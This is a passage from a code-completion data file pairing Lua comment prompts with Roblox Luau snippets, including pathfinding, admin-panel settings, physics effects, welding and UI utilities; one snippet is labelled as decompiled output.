false\n\t\tend\n\tend\n\n\tfunction this:IsValidPath()\n\t\tthis:ComputePath()\n\t\treturn this.PathComputed and this.AgentCanFollowPath\n\tend\n\n\tthis.Recomputing = false\n\tfunction this:OnPathBlocked(blockedWaypointIdx)\n\t\tlocal pathBlocked = blockedWaypointIdx >= this.CurrentPoint\n\t\tif not pathBlocked or this.Recomputing then\n\t\t\treturn\n\t\tend\n\n\t\tthis.Recomputing = true\n\n\t\tif this.stopTraverseFunc then\n\t\t\tthis.stopTraverseFunc()\n\t\t\tthis.stopTraverseFunc = nil\n\t\tend\n\n\t\tthis.OriginPoint = this.Humanoid.RootPart.CFrame.p\n\n\t\tthis.pathResult:ComputeAsync(this.OriginPoint, this.TargetPoint)\n\t\tthis.pointList = this.pathResult:GetWaypoints()\n\t\tif #this.pointList > 0 then\n\t\t\tthis.HumanoidOffsetFromPath = this.pointList[1].Position - this.OriginPoint\n\t\tend\n\t\tthis.PathComputed = this.pathResult.Status == Enum.PathStatus.Success\n\n\t\tif ShowPath then\n\t\t\tthis.stopTraverseFunc, this.setPointFunc = ClickToMoveDisplay.CreatePathDisplay(this.pointList)\n\t\tend\n\t\tif this.PathComputed then\n\t\t\tthis.CurrentPoint = 1 -- The first waypoint is always the start location. Skip it.\n\t\t\tthis:OnPointReached(true) -- Move to first point\n\t\telse\n\t\t\tthis.PathFailed:Fire()\n\t\t\tthis:Cleanup()\n\t\tend\n\n\t\tthis.Recomputing = false\n\tend\n\n\tfunction this:OnRenderStepped(dt: number)\n\t\tif this.Started and not this.Cancelled then\n\t\t\t-- Check for Timeout (if a waypoint is not reached within the delay, we fail)\n\t\t\tthis.Timeout = this.Timeout + dt\n\t\t\tif this.Timeout > UnreachableWaypointTimeout then\n\t\t\t\tthis:OnPointReached(false)\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\t-- Get Humanoid position and velocity\n\t\t\tthis.CurrentHumanoidPosition = this.Humanoid.RootPart.Position + this.HumanoidOffsetFromPath\n\t\t\tthis.CurrentHumanoidVelocity = this.Humanoid.RootPart.Velocity\n\n\t\t\t-- Check if it has reached some waypoints\n\t\t\twhile this.Started and this:IsCurrentWaypointReached() do\n\t\t\t\tthis:OnPointReached(true)\n\t\t\tend\n\n\t\t\t-- If still started, update actions\n\t\t\tif this.Started then\n\t\t\t\t-- Move action\n\t\t\t\tthis.NextActionMoveDirection = this.CurrentWaypointPosition - this.CurrentHumanoidPosition\n\t\t\t\tif this.NextActionMoveDirection.Magnitude > ALMOST_ZERO then\n\t\t\t\t\tthis.NextActionMoveDirection = this.NextActionMoveDirection.Unit\n\t\t\t\telse\n\t\t\t\t\tthis.NextActionMoveDirection = ZERO_VECTOR3\n\t\t\t\tend\n\t\t\t\t-- Jump action\n\t\t\t\tif this.CurrentWaypointNeedsJump then\n\t\t\t\t\tthis.NextActionJump = true\n\t\t\t\t\tthis.CurrentWaypointNeedsJump = false\t-- Request jump only once\n\t\t\t\telse\n\t\t\t\t\tthis.NextActionJump = false\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\n\tfunction this:IsCurrentWaypointReached()\n\t\tlocal reached = false\n\n\t\t-- Check we do have a plane, if not, we consider the waypoint reached\n\t\tif this.CurrentWaypointPlaneNormal ~= ZERO_VECTOR3 then\n\t\t\t-- Compute distance of Humanoid from destination plane\n\t\t\tlocal dist = this.CurrentWaypointPlaneNormal:Dot(this.CurrentHumanoidPosition) - this.CurrentWaypointPlaneDistance\n\t\t\t-- Compute the component of the Humanoid velocity that is towards the plane\n\t\t\tlocal velocity = -this.CurrentWaypointPlaneNormal:Dot(this.CurrentHumanoidVelocity)\n\t\t\t-- Compute the threshold from the destination plane based on Humanoid velocity\n\t\t\tlocal threshold = math.max(1.0, 0.0625 * velocity)\n\t\t\t-- If we are less then threshold in front of the plane (between 0 and threshold) or if we are behing the plane (less then 0), we consider we reached it\n\t\t\treached = dist < threshold\n\t\telse\n\t\t\treached = true\n\t\tend\n\n\t\tif reached then\n\t\t\tthis.CurrentWaypointPosition = nil\n\t\t\tthis.CurrentWaypointPlaneNormal\t= ZERO_VECTOR3\n\t\t\tthis.CurrentWaypointPlaneDistance = 0\n\t\tend\n\n\t\treturn reached\n\tend\n\n\tfunction this:OnPointReached(reached)\n\n\t\tif reached and not this.Cancelled then\n\t\t\t-- First, destroyed the current displayed waypoint\n\t\t\tif this.setPointFunc then\n\t\t\t\tthis.setPointFunc(this.CurrentPoint)\n\t\t\tend\n\n\t\t\tlocal nextWaypointIdx = this.CurrentPoint + 1\n\n\t\t\tif nextWaypointIdx > #this.pointList then\n\t\t\t\t-- End of path reached\n\t\t\t\tif this.stopTraverseFunc then\n\t\t\t\t\tthis.stopTraverseFunc()\n\t\t\t\tend\n\t\t\t\tthis.Finished:Fire()\n\t\t\t\tthis:Cleanup()\n\t\t\telse\n\t\t\t\tlocal currentWaypoint = this.pointList[this.CurrentPoint]\n\t\t\t\tlocal nextWaypoint = this.pointList[nextWaypointIdx]\n\n\t\t\t\t-- If airborne, only allow to keep moving\n\t\t\t\t-- if nextWaypoint.Action ~= Jump, or path mantains a direction\n\t\t\t\t-- Otherwise, wait until the humanoid gets to the ground\n\t\t\t\tlocal currentState = this.Humanoid:GetState()\n\t\t\t\tlocal isInAir = currentState == Enum.HumanoidStateType.FallingDown\n\t\t\t\t\tor currentState == Enum.HumanoidStateType.Freefall\n\t\t\t\t\tor currentState == Enum.HumanoidStateType.Jumping\n\n\t\t\t\tif isInAir then\n\t\t\t\t\tlocal shouldWaitForGround = nextWaypoint.Action == Enum.PathWaypointAction.Jump\n\t\t\t\t\tif not shouldWaitForGround and this.CurrentPoint > 1 then\n\t\t\t\t\t\tlocal prevWaypoint = this.pointList[this.CurrentPoint - 1]\n\n\t\t\t\t\t\tlocal prevDir = currentWaypoint.Position - prevWaypoint.Position\n\t\t\t\t\t\tlocal currDir = nextWaypoint.Position - currentWaypoint.Position\n\n\t\t\t\t\t\tlocal prevDirXZ = Vector2.new(prevDir.x, prevDir.z).Unit\n\t\t\t\t\t\tlocal currDirXZ = Vector2.new(currDir.x, currDir.z).Unit\n\n\t\t\t\t\t\tlocal THRESHOLD_COS = 0.996 -- ~cos(5 degrees)\n\t\t\t\t\t\tshouldWaitForGround = prevDirXZ:Dot(currDirXZ) < THRESHOLD_COS\n\t\t\t\t\tend\n\n\t\t\t\t\tif shouldWaitForGround then\n\t\t\t\t\t\tthis.Humanoid.FreeFalling:Wait()\n\n\t\t\t\t\t\t-- Give time to the humanoid's state to change\n\t\t\t\t\t\t-- Otherwise, the jump flag in Humanoid\n\t\t\t\t\t\t-- will be reset by the state change\n\t\t\t\t\t\twait(0.1)\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\t-- Move to the next point\n\t\t\t\tthis:MoveToNextWayPoint(currentWaypoint, nextWaypoint, nextWaypointIdx)\n\t\t\tend\n\t\telse\n\t\t\tthis.PathFailed:Fire()\n\t\t\tthis:Cleanup()\n\t\tend\n\tend\n\n\tfunction this:MoveToNextWayPoint(currentWaypoint: PathWaypoint, nextWaypoint: PathWaypoint, nextWaypointIdx: number)\n\t\t-- Build next destination plane\n\t\t-- (plane normal is perpendicular to the y plane and is from next waypoint towards current one (provided the two waypoints are not at the same location))\n\t\t-- (plane location is at next waypoint)\n\t\tthis.CurrentWaypointPlaneNormal = currentWaypoint.Position - nextWaypoint.Position\n\t\tthis.CurrentWaypointPlaneNormal = Vector3.new(this.CurrentWaypointPlaneNormal.X, 0, this.CurrentWaypointPlaneNormal.Z)\n\t\tif this.CurrentWaypointPlaneNormal.Magnitude > ALMOST_ZERO then\n\t\t\tthis.CurrentWaypointPlaneNormal\t= this.CurrentWaypointPlaneNormal.Unit\n\t\t\tthis.CurrentWaypointPlaneDistance = this.CurrentWaypointPlaneNormal:Dot(nextWaypoint.Position)\n\t\telse\n\t\t\t-- Next waypoint is the same as current waypoint so no plane\n\t\t\tthis.CurrentWaypointPlaneNormal\t= ZERO_VECTOR3\n\t\t\tthis.CurrentWaypointPlaneDistance = 0\n\t\tend\n\n\t\t-- Should we jump\n\t\tthis.CurrentWaypointNeedsJump = nextWaypoint.Action == Enum.PathWaypointAction.Jump;\n\n\t\t-- Remember next waypoint position\n\t\tthis.CurrentWaypointPosition = nextWaypoint.Position\n\n\t\t-- Move to next point\n\t\tthis.CurrentPoint = nextWaypointIdx\n\n\t\t-- Finally reset Timeout\n\t\tthis.Timeout = 0\n\tend\n\n\tfunction this:Start(overrideShowPath)\n\t\tif not this.AgentCanFollowPath then\n\t\t\tthis.PathFailed:Fire()\n\t\t\treturn\n\t\tend\n\n\t\tif this.Started then return end\n\t\tthis.Started = true\n\n\t\tClickToMoveDisplay.CancelFailureAnimation()\n\n\t\tif ShowPath then\n\t\t\tif overrideShowPath == nil or overrideShowPath then\n\t\t\t\tthis.stopTraverseFunc, this.setPointFunc = ClickToMoveDisplay.CreatePathDisplay(this.pointList, this.OriginalTargetPoint)\n\t\t\tend\n\t\tend\n\n\t\tif #this.pointList > 0 then\n\t\t\t-- Determine the humanoid offset from the path's first point\n\t\t\t-- Offset of the first waypoint from the path's origin point\n\t\t\tthis.HumanoidOffsetFromPath = Vector3.new(0, this.pointList[1].Position.Y - this.OriginPoint.Y, 0)\n\n\t\t\t-- As well as its current position and velocity\n\t\t\tthis.CurrentHumanoidPosition = this.Humanoid.RootPart.Position + this.HumanoidOffsetFromPath\n\t\t\tthis.CurrentHumanoidVelocity = this.Humanoid.RootPart.Velocity\n\n\t\t\t-- Connect to events\n\t\t\tthis.SeatedConn = this.Humanoid.Seated:Connect(function(isSeated, seat) this:OnPathInterrupted() end)\n\t\t\tthis.DiedConn = this.Humanoid.Died:Connect(function() this:OnPathInterrupted() end)\n\t\t\tthis.TeleportedConn = this.Humanoid.RootPart:GetPropertyChangedSignal(\"CFrame\"):Connect(function() this:OnPathInterrupted() end)\n\n\t\t\t-- Actually start\n\t\t\tthis.CurrentPoint = 1 -- The first waypoint is always the start location. Skip it.\n\t\t\tthis:OnPointReached(true) -- Move to first point\n\t\telse\n\t\t\tthis.PathFailed:Fire()\n\t\t\tif this.stopTraverseFunc then\n\t\t\t\tthis.stopTraverseFunc()\n\t\t\tend\n\t\tend\n\tend\n\n\t--We always raycast to the ground in the case that the user clicked a wall.\n\tlocal offsetPoint = this.TargetPoint + this.TargetSurfaceNormal*1.5\n\tlocal ray = Ray.new(offsetPoint, Vector3.new(0,-1,0)*50)\n\tlocal newHitPart, newHitPos = Workspace:FindPartOnRayWithIgnoreList(ray, getIgnoreList())\n\tif newHitPart then\n\t\tthis.TargetPoint = newHitPos\n\tend\n\tthis:ComputePath()\n\n\treturn this\nend\n"} +{"prompt": "--put the script under the screen gui that you want to be for only one team.\n--[[WARNING!!! DO NOT put the script under anything accept the screen gui that you want only for one team.]]", "completion": "\nif script.Parent.Parent.Parent.TeamColor == game.Teams.nuetral.TeamColor then\n\telse script.Parent:remove()\nend\n"} +{"prompt": "--[[\nCreates a fuel sphere.\n--]]", "completion": "\nreturn function(CenterCF,FuelColor,Angle,StartingRadius,EndingRadius,Height,Parent)\n\tlocal ContainedFuel = FUEL_AMOUNT\n\t\n\t--Create the sphere.\n\tlocal FuelSphere = Instance.new(\"Part\")\n\tFuelSphere.Material = \"Neon\"\n\tFuelSphere.BrickColor = FuelColor\n\tFuelSphere.Shape = \"Ball\"\n\tFuelSphere.Size = Vector3.new(FUEL_DIAMETER,FUEL_DIAMETER,FUEL_DIAMETER)\n\tFuelSphere.CustomPhysicalProperties = PhysicalProperties.new(0.7,0,0)\n\tFuelSphere.TopSurface = \"Smooth\"\n\tFuelSphere.BottomSurface = \"Smooth\"\n\tFuelSphere.Parent = Parent\n\t\n\t--Determine and set the CFrames.\n\tlocal HeightCenterCF = CenterCF * CFrame.new(0,Height + (FUEL_DIAMETER/2),0)\n\tlocal LandedCF = HeightCenterCF * CFrame.Angles(0,Angle,0) * CFrame.new(0,0,StartingRadius)\n\tlocal StartCF = LandedCF * CFrame.new(0,FUEL_START_HEIGHT_OFFSET,FUEL_START_RADIUS_OFFSET)\n\tFuelSphere.CFrame = StartCF\n\t\n\t--Create the BodyVelocity.\n\tlocal BodyVelocity = Instance.new(\"BodyVelocity\")\n\tBodyVelocity.MaxForce = Vector3.new(math.huge,0,math.huge)\n\tBodyVelocity.Velocity = -StartCF.LookVector * FUEL_MOVEMENT_SPEED\n\tBodyVelocity.Parent = FuelSphere\n\t\n\tspawn(function()\n\t\t--Remove the body velocity when the fuel has reached the end.\n\t\twhile FuelSphere.Parent do\n\t\t\t--Calculate the distance.\n\t\t\tlocal DeltaX = FuelSphere.Position.X - HeightCenterCF.X\n\t\t\tlocal DeltaZ = FuelSphere.Position.Z - HeightCenterCF.Z\n\t\t\tlocal Distance = ((DeltaX ^ 2) + (DeltaZ ^ 2)) ^ 0.5\n\t\t\t\n\t\t\t--If the distance is greater than the ending radius, remove the BodyVelocity and break the loop.\n\t\t\tif Distance > EndingRadius then\n\t\t\t\tBodyVelocity:Destroy()\n\t\t\t\tbreak\n\t\t\tend\n\t\t\twait()\n\t\tend\n\t\t\n\t\t--Destroy the fuel after 10 seconds if it still exists.\n\t\tdelay(10,function()\n\t\t\tif FuelSphere.Parent then\n\t\t\t\tFuelSphere:Destroy()\n\t\t\tend\n\t\tend)\n\t\t\n\t\t--Wait for the fuel to go below the platform.\n\t\twhile FuelSphere.Parent do\n\t\t\tlocal DeltaY = math.abs(FuelSphere.Position.Y - HeightCenterCF.Y)\n\t\t\tif DeltaY > 8 then\n\t\t\t\tbreak\n\t\t\tend\n\t\t\twait()\n\t\tend\n\t\t\n\t\t--Set the velocity inward.\n\t\tif FuelSphere.Parent and FALLING_INWARD_VELOCITY ~= 0 then\n\t\t\tFuelSphere.Velocity = StartCF.LookVector * FALLING_INWARD_VELOCITY\n\t\tend\n\tend)\n\n\t--Create the fuel object.\n\tlocal FuelObject = {}\n\t\n\t--[[\n\tDestroys the fuel object.\n\t--]]\n\tfunction FuelObject:Destroy()\n\t\tFuelSphere:Destroy()\n\tend\n\t\n\t--[[\n\tRemoves fuel from the sphere.\n\t--]]\n\tfunction FuelObject:RemoveFuel(Amount)\n\t\tContainedFuel = ContainedFuel - Amount\n\t\t\n\t\t--Update the size.\n\t\tlocal NewDiameter = FUEL_DIAMETER * (ContainedFuel/FUEL_AMOUNT)\n\t\tFuelSphere.Size = Vector3.new(NewDiameter,NewDiameter,NewDiameter)\n\t\t\n\t\t--Destroy the fuel if it is out.\n\t\tif ContainedFuel <= 0 then\n\t\t\tself:Destroy()\n\t\tend\n\tend\n\t\n\t--[[\n\tReturns the remaining fuel.\n\t--]]\n\tfunction FuelObject:GetRemainingFuel()\n\t\treturn ContainedFuel\n\tend\n\t\n\t--[[\n\tReturns the sphere.\n\t--]]\n\tfunction FuelObject:GetPart()\n\t\treturn FuelSphere\n\tend\n\t\n\t--Return the fuel object.\n\treturn FuelObject\nend\n"} +{"prompt": "-- Function to preload audio assets", "completion": "\nAudioPlayer.preloadAudio = function(assetArray)\n\tlocal audioAssets = {}\n \n\t-- Add new \"Sound\" assets to \"audioAssets\" array\n\tfor name, audioID in pairs(assetArray) do\n\t\tlocal audioInstance = Instance.new(\"Sound\")\n\t\taudioInstance.SoundId = \"rbxassetid://\" .. audioID\n\t\taudioInstance.Name = name\n\t\taudioInstance.Parent = SoundService\n\t\t\n\t\ttable.insert(audioAssets, audioInstance)\n\tend\n \n\tlocal success, assets = pcall(function()\n\t\tContentProvider:PreloadAsync(audioAssets)\n\tend)\nend\n "} +{"prompt": "-- Boat lookvector", "completion": "\nlocal p1,p2,p3,xx,xy,xz,yx,yy,yz,zx,zy,zz = Thrust.CFrame:components()\nlocal FTLV = Thrust.CFrame.lookVector\nlocal DNLV = -Vector3.new(xy,yy,zy)\nlocal RTLV = Vector3.new(xz,yz,zz)\nlocal SeatMagnitude = Seat.Velocity.magnitude\nlocal FinalTiltPower = (TiltPower*math.rad(SeatMagnitude))*Examine(Seat.Steer)\n\n\t-- ACCELERATING\n\tForce.Force = Seat.Throttle * (FTLV*MainPart:GetMass()*BoatSpeed)\n\t\n\t-- STEERING\n\tTilt.MaxTorque = Vector3.new(FinalTiltPower,FinalTiltPower,FinalTiltPower)\n\tMainPart.RotVelocity = Seat.Steer * (Vector3.new(0,-1*TurnSpeed/6,0))\n\tTilt.AngularVelocity = Seat.Steer*(RTLV)\n\t\nend\n"} +{"prompt": "-- Object that the player can interact with", "completion": "\nlocal target = workspace.LobbyAssets.NPC.InteractionPart\nlocal InteractionBillboard = PlayerGui.InteractionBillboard\nlocal InteractionBillboardButton = InteractionBillboard.InteractionButton\nlocal InteractionArrow = InteractionBillboard.Arrow\n"} +{"prompt": "--[[\n\tROBLOX deviation: skipped private _typeOf method\n\toriginal code:\n\tprivate _typeOf(value: any): string {\n\t return value == null ? '' + value : typeof value;\n\t}\n]]", "completion": "\n\nfunction ModuleMockerClass.mocked(_self: ModuleMocker, item: T, _deep: boolean?): MaybeMocked | MaybeMockedDeep\n\treturn item :: any\nend\n\nexports.ModuleMocker = ModuleMockerClass\n\nlocal JestMock = ModuleMockerClass.new()\nlocal fn = JestMock.fn\nexports.fn = fn"} +{"prompt": "--------------| SYSTEM SETTINGS |--------------", "completion": "\nPrefix\t\t\t\t= \";\";\t\t\t-- The character you use before every command (e.g. ';jump me').\nSplitKey \t\t\t= \" \";\t\t\t-- The character inbetween command arguments (e.g. setting it to '/' would change ';jump me' to ';jump/me').\nBatchKey \t\t\t= \"\";\t\t\t-- The character inbetween batch commands (e.g. setting it to '|' would change ';jump me ;fire me ;smoke me' to ';jump me | ;fire me | ;smoke me'\nQualifierBatchKey \t= \",\";\t\t\t-- The character used to split up qualifiers (e.g. ;jump player1,player2,player3)\n\nTheme\t\t\t\t= \"Black\";\t\t-- The default UI theme.\nNoticeSoundId\t\t= 2865227271;\t-- The SoundId for notices.\nNoticeVolume\t\t= 0.1;\t\t\t-- The Volume for notices.\nNoticePitch\t\t\t= 1;\t\t\t-- The Pitch/PlaybackSpeed for notices.\nErrorSoundId\t\t= 2865228021;\t-- The SoundId for error notifications.\nErrorVolume\t\t\t= 0.1;\t\t\t-- The Volume for error notifications.\nErrorPitch\t\t\t= 1;\t\t\t-- The Pitch/PlaybackSpeed for error notifications.\nAlertSoundId\t\t= 9161622880;\t-- The SoundId for alerts.\nAlertVolume\t\t\t= 0.5;\t\t\t-- The Volume for alerts.\nAlertPitch\t\t\t= 1;\t\t\t-- The Pitch/PlaybackSpeed for alerts.\n\nWelcomeBadgeId\t\t= 0;\t\t\t-- Award new players a badge, such as 'Welcome to the game!'. Set to 0 for no badge.\n\nCommandDebounce\t\t= true;\t\t\t-- Wait until the command effect is over to use again. Helps to limit abuse & lag. Set to 'false' to disable.\nSaveRank\t\t\t= true;\t\t\t-- Saves a player's rank in the server they received it. (e.g. ;rank plrName rank). Use ';permRank plrName rank' to permanently save a rank. Set to 'false' to disable.\nLoopCommands\t\t= 3;\t\t\t-- The minimum rank required to use LoopCommands.\nMusicList \t\t\t= {};\t-- Songs which automatically appear in a user's radio. Type '!radio' to display the radio.\n\nThemeColors = {\t\t\t\t\t\t-- The colours players can set their HD Admin UI (in the 'Settings' menu). | Format: {ThemeName, ThemeColor3Value};\n\t{\"Red\", \tColor3.fromRGB(150, 0, 0),\t\t};\n\t{\"Orange\", \tColor3.fromRGB(150, 75, 0),\t\t};\n\t{\"Brown\", \tColor3.fromRGB(120, 80, 30),\t};\n\t{\"Yellow\", \tColor3.fromRGB(130, 120, 0),\t};\n\t{\"Green\", \tColor3.fromRGB(0, 120, 0),\t\t};\n\t{\"Blue\", \tColor3.fromRGB(0, 100, 150),\t};\n\t{\"Purple\", \tColor3.fromRGB(100, 0, 150),\t};\n\t{\"Pink\",\tColor3.fromRGB(150, 0, 100),\t};\n\t{\"Black\", \tColor3.fromRGB(60, 60, 60),\t\t};\n};\n\nColors = {\t\t\t\t\t\t\t-- The colours for ChatColors and command arguments. | Format: {\"ShortName\", \"FullName\", Color3Value};\n\t{\"r\", \t\t\"Red\",\t\t \t\tColor3.fromRGB(255, 0, 0)\t\t};\n\t{\"o\", \t\t\"Orange\",\t \t\tColor3.fromRGB(250, 100, 0)\t\t};\n\t{\"y\", \t\t\"Yellow\",\t\t\tColor3.fromRGB(255, 255, 0)\t\t};\n\t{\"g\", \t\t\"Green\"\t,\t\t\tColor3.fromRGB(0, 255, 0)\t\t};\n\t{\"dg\", \t\t\"DarkGreen\"\t, \t\tColor3.fromRGB(0, 125, 0)\t\t};\n\t{\"b\", \t\t\"Blue\",\t\t \t\tColor3.fromRGB(0, 255, 255)\t\t};\n\t{\"db\", \t\t\"DarkBlue\",\t\t\tColor3.fromRGB(0, 50, 255)\t\t};\n\t{\"p\", \t\t\"Purple\",\t \t\tColor3.fromRGB(150, 0, 255)\t\t};\n\t{\"pk\",\t\t\"Pink\",\t\t \t\tColor3.fromRGB(255, 85, 185)\t};\n\t{\"bk\",\t\t\"Black\",\t\t \tColor3.fromRGB(0, 0, 0)\t\t\t};\n\t{\"w\",\t\t\"White\",\t \t\tColor3.fromRGB(255, 255, 255)\t};\n};\nChatColors = {\t\t\t\t\t\t-- The colour a player's chat will appear depending on their rank. '[\"Owner\"] = \"Yellow\";' makes the owner's chat yellow.\n\t[5] \t\t= \"Yellow\";\n};\n\nCmdbar\t\t\t\t\t\t= 1;\t\t\t-- The minimum rank required to use the Cmdbar.\nCmdbar2\t\t\t\t\t\t= 3;\t\t\t-- The minimum rank required to use the Cmdbar2.\nViewBanland\t\t\t\t\t= 3;\t\t\t-- The minimum rank required to view the banland.\nOnlyShowUsableCommands\t\t= false;\t\t-- Only display commands equal to or below the user's rank on the Commands page.\nRankRequiredToViewPage\t\t= {\t\t\t\t-- || The pages on the main menu ||\n\t[\"Commands\"]\t\t= 0;\n\t[\"Admin\"]\t\t\t= 0;\n\t[\"Settings\"]\t\t= 0;\n};\nRankRequiredToViewRank\t\t= {\t\t\t\t-- || The rank categories on the 'Ranks' subPage under Admin ||\n\t[\"Owner\"]\t\t\t= 0;\n\t[\"HeadAdmin\"]\t\t= 0;\n\t[\"Admin\"]\t\t\t= 0;\n\t[\"Mod\"]\t\t\t\t= 0;\n\t[\"VIP\"]\t\t\t\t= 0;\n};\nRankRequiredToViewRankType\t= {\t\t\t\t-- || The collection of loader-rank-rewarders on the 'Ranks' subPage under Admin ||\n\t[\"Owner\"]\t\t\t= 0;\n\t[\"SpecificUsers\"]\t= 5;\n\t[\"Gamepasses\"] \t\t= 0;\n\t[\"Assets\"] \t\t\t= 0;\n\t[\"Groups\"] \t\t\t= 0;\n\t[\"Friends\"] \t\t= 0;\n\t[\"FreeAdmin\"] \t\t= 0;\n\t[\"VipServerOwner\"] \t= 0;\n};\nRankRequiredToViewIcon\t\t= 0;\n\nWelcomeRankNotice\t\t\t= false;\t\t\t-- The 'You're a [rankName]' notice that appears when you join the game. Set to false to disable.\nWelcomeDonorNotice\t\t\t= false;\t\t\t-- The 'You're a Donor' notice that appears when you join the game. Set to false to disable.\nWarnIncorrectPrefix\t\t\t= false;\t\t\t-- Warn the user if using the wrong prefix | \"Invalid prefix! Try using [correctPrefix][commandName] instead!\"\nDisableAllNotices\t\t\t= false;\t\t-- Set to true to disable all HD Admin notices.\n\nScaleLimit\t\t\t\t\t= 4;\t\t\t-- The maximum size players with a rank lower than 'IgnoreScaleLimit' can scale theirself. For example, players will be limited to ;size me 4 (if limit is 4) - any number above is blocked.\nIgnoreScaleLimit\t\t\t= 3;\t\t\t-- Any ranks equal or above this value will ignore 'ScaleLimit'\nCommandLimits\t\t\t\t= {\t\t\t\t-- Enables you to set limits for commands which have a number argument. Ranks equal to or higher than 'IgnoreLimit' will not be affected by Limit.\n\t[\"fly\"]\t= {\n\t\tLimit \t\t\t\t= 10000;\n\t\tIgnoreLimit \t\t= 3;\n\t};\n\t[\"fly2\"]\t= {\n\t\tLimit \t\t\t\t= 10000;\n\t\tIgnoreLimit \t\t= 3;\n\t};\n\t[\"noclip\"]\t= {\n\t\tLimit \t\t\t\t= 10000;\n\t\tIgnoreLimit \t\t= 3;\n\t};\n\t[\"noclip2\"]\t= {\n\t\tLimit \t\t\t\t= 10000;\n\t\tIgnoreLimit \t\t= 3;\n\t};\n\t[\"speed\"]\t= {\n\t\tLimit \t\t\t\t= 10000;\n\t\tIgnoreLimit \t\t= 3;\n\t};\n\t[\"jumpPower\"]\t= {\n\t\tLimit \t\t\t\t= 10000;\n\t\tIgnoreLimit \t\t= 3;\n\t};\n};\n\nVIPServerCommandBlacklist\t= {\"permRank\", \"permBan\", \"globalAnnouncement\"};\t-- Commands players are probihited from using in VIP Servers.\nGearBlacklist\t\t\t\t= {67798397};\t-- The IDs of gear items to block when using the ;gear command.\nIgnoreGearBlacklist\t\t\t= 4;\t\t\t-- The minimum rank required to ignore the gear blacklist.\n\nPlayerDataStoreVersion\t\t= \"V1.0\";\t\t-- Data about the player (i.e. permRanks, custom settings, etc). Changing the Version name will reset all PlayerData.\nSystemDataStoreVersion\t\t= \"V1.0\";\t\t-- Data about the game (i.e. the banland, universal message system, etc). Changing the Version name will reset all SystemData.\n\nCoreNotices\t\t\t\t\t= {\t\t\t\t-- Modify core notices. You can find a table of all CoreNotices under [MainModule > Client > SharedModules > CoreNotices]\n\t--NoticeName = NoticeDetails;\n};\n\n\n\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal function u1(p1, p2, p3)\n\tlocal v1, v2, v3 = ipairs(p1:GetDescendants());\n\twhile true do\n\t\tv1(v2, v3);\n\t\tif not v1 then\n\t\t\tbreak;\n\t\tend;\n\t\tv3 = v1;\n\t\tif v2:IsA(p3) and v2.Name == p2 then\n\t\t\treturn v2;\n\t\tend;\t\n\tend;\n\treturn nil;\nend;\nlocal u2 = { script.Parent.Parent, game:GetService(\"ReplicatedFirst\"), game:GetService(\"ReplicatedStorage\"), game:GetService(\"ServerScriptService\"), (game:GetService(\"ServerStorage\")) };\nreturn function()\n\tlocal v4 = script:FindFirstAncestorOfClass(\"Plugin\");\n\tif v4 then\n\t\tlocal v5 = u1(v4, \"Promise\", \"ModuleScript\");\n\t\tif v5 then\n\t\t\treturn true, require(v5);\n\t\telse\n\t\t\treturn false;\n\t\tend;\n\tend;\n\tlocal v6 = nil;\n\tlocal v7, v8, v9 = ipairs(u2);\n\twhile true do\n\t\tv7(v8, v9);\n\t\tif not v7 then\n\t\t\tbreak;\n\t\tend;\n\t\tv9 = v7;\n\t\tv6 = u1(v8, \"Promise\", \"ModuleScript\");\n\t\tif v6 then\n\t\t\tbreak;\n\t\tend;\t\n\tend;\n\tif not v6 then\n\t\treturn false;\n\tend;\n\treturn true, require(v6);\nend;\n"} +{"prompt": "--[[**\n\tensures value is a number where min < value < max\n\n\t@param min The minimum to use\n\t@param max The maximum to use\n\n\t@returns A function that will return true iff the condition is passed\n**--]]", "completion": "\nfunction t.numberConstrainedExclusive(min, max)\n\tassert(t.number(min))\n\tassert(t.number(max))\n\tlocal minCheck = t.numberMinExclusive(min)\n\tlocal maxCheck = t.numberMaxExclusive(max)\n\n\treturn function(value)\n\t\tlocal minSuccess, minErrMsg = minCheck(value)\n\t\tif not minSuccess then\n\t\t\treturn false, minErrMsg or \"\"\n\t\tend\n\n\t\tlocal maxSuccess, maxErrMsg = maxCheck(value)\n\t\tif not maxSuccess then\n\t\t\treturn false, maxErrMsg or \"\"\n\t\tend\n\n\t\treturn true\n\tend\nend\n"} +{"prompt": "-- Enable this script if you have a multi part gun otherwise remove it", "completion": "\n\nlocal function weld(x, y)\n\tlocal newWeld = Instance.new(\"Weld\")\n\tnewWeld.Part0 = x\n\tnewWeld.Part1 = y\n\tlocal CJ = CFrame.new(x.Position)\n\tlocal C0 = x.CFrame:inverse()* CJ\n\tlocal C1 = y.CFrame:inverse()* CJ\n\tnewWeld.C0 = C0\n\tnewWeld.C1 = C1\n\tnewWeld.Parent = x\nend\n\nfunction weldParts(object)\n\tif object:IsA(\"BasePart\") then\n\t\tweld(script.Parent.Handle, object)\n\t\tobject.Anchored = false\n\telse\n\t\tfor i, c in pairs(object:GetChildren()) do\n\t\t\tweldParts(c)\n\t\tend\n\tend\nend\n\nlocal function weldTool()\n\tweldParts(script.Parent)\nend\n\nscript.Parent.Equipped:connect(weldTool)\nscript.Parent.Unequipped:connect(weldTool)\nweldTool()\n"} +{"prompt": "--[[\n\tApplies a table of properties to an instance, including binding to any\n\tgiven state objects and applying any special keys.\n\n\tNo strong reference is kept by default - special keys should take care not\n\tto accidentally hold strong references to instances forever.\n\n\tIf a key is used twice, an error will be thrown. This is done to avoid\n\tdouble assignments or double bindings. However, some special keys may want\n\tto enable such assignments - in which case unique keys should be used for\n\teach occurence.\n]]", "completion": "\n\nlocal Package = script.Parent.Parent\nlocal PubTypes = require(Package.PubTypes)\nlocal cleanup = require(Package.Utility.cleanup)\nlocal xtypeof = require(Package.Utility.xtypeof)\nlocal logError = require(Package.Logging.logError)\nlocal Observer = require(Package.State.Observer)\n\nlocal function setProperty_unsafe(instance: Instance, property: string, value: any)\n\t(instance :: any)[property] = value\nend\n\nlocal function testPropertyAssignable(instance: Instance, property: string)\n\t(instance :: any)[property] = (instance :: any)[property]\nend\n\nlocal function setProperty(instance: Instance, property: string, value: any)\n\tif not pcall(setProperty_unsafe, instance, property, value) then\n\t\tif not pcall(testPropertyAssignable, instance, property) then\n\t\t\tif instance == nil then\n\t\t\t\t-- reference has been lost\n\t\t\t\tlogError(\"setPropertyNilRef\", nil, property, tostring(value))\n\t\t\telse\n\t\t\t\t-- property is not assignable\n\t\t\t\tlogError(\"cannotAssignProperty\", nil, 